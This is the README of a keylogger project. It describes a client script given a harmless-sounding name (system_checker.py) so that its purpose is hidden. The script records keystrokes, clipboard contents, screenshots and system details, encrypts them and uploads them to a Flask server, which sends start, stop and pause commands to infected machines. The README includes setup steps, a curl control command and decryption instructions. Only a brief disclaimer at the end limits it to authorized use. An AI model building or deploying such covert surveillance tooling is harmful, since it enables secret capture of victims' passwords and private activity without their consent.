This project is a keylogger system designed to monitor and log activities such as keystrokes, clipboard content, screenshots, and system information, with an option to upload all data securely to a Flask server.
The system_checker.py file is a keylogger script designed to disguise its purpose under a generic-sounding name. It operates by:
- Logging user input (keystrokes, clipboard, screenshots).
- Encrypting data using the Fernet encryption algorithm.
- Uploading encrypted data to a local/remote server for storage.
The project includes tools to:
- Run the server.
- Send commands to clients via the server's API.
- Decrypt uploaded files for analysis.
- Captures:
- Keystrokes (e.g., user input and special keys like
ENTERandSPACE). - Clipboard data changes.
- Screenshots periodically.
- System information (e.g., machine name, IP address).
- Keystrokes (e.g., user input and special keys like
- Encrypts captured files using the
cryptographylibrary for secure transmission. - Automatically uploads encrypted data to the Flask server.
- Stores files uploaded by various clients organized by their
machine_id. - Offers an API to:
- Control logging activity (start, stop, pause, or resume).
- Manage client-specific commands via HTTP requests.
-
Clone the repo:
git clone <repository_link> cd Keylogger
-
Install Python dependencies:
pip install flask flask-sqlalchemy
-
Run the server:
python server.py
-
Access the Server Features:
- Upload Files: POST to
/upload. - Send Commands: Use
/command/<machine_id>endpoints (see below).
- Upload Files: POST to
- Edit the
system_checker.pyfile, if necessary (e.g., change the server IP and port). - Run the script:
python system_checker.py
- The script will:
- Log user activity into encrypted files.
- Upload the files to the server for secure storage.
The server provides an API to send specific instructions to clients. For example:
- To stop data logging:
curl -X POST -H "Content-Type: application/json" \ -d '{"command": "STOP"}' \ http://127.0.0.1:5001/command/<machine_id>
Commands include:
| Command | Description |
|---|---|
| RUN | Start or continue logging. |
| STOP | Completely stop logging. |
| PAUSE | Pause logging temporarily. |
| RESUME | Resume paused logging. |
To analyze logged data, use the provided Decryption.py script:
- Ensure the
uploadfolder contains encrypted files. - Edit the
upload_folderpath inDecryption.pyto point to the folder. - Run the script:
python Decryption.py
- Decrypted files will be saved with the prefix
d_(e.g.,d_key_log.txt).
This software is for authorized use only. Deploying it without owner consent is illegal and unethical. Use responsibly.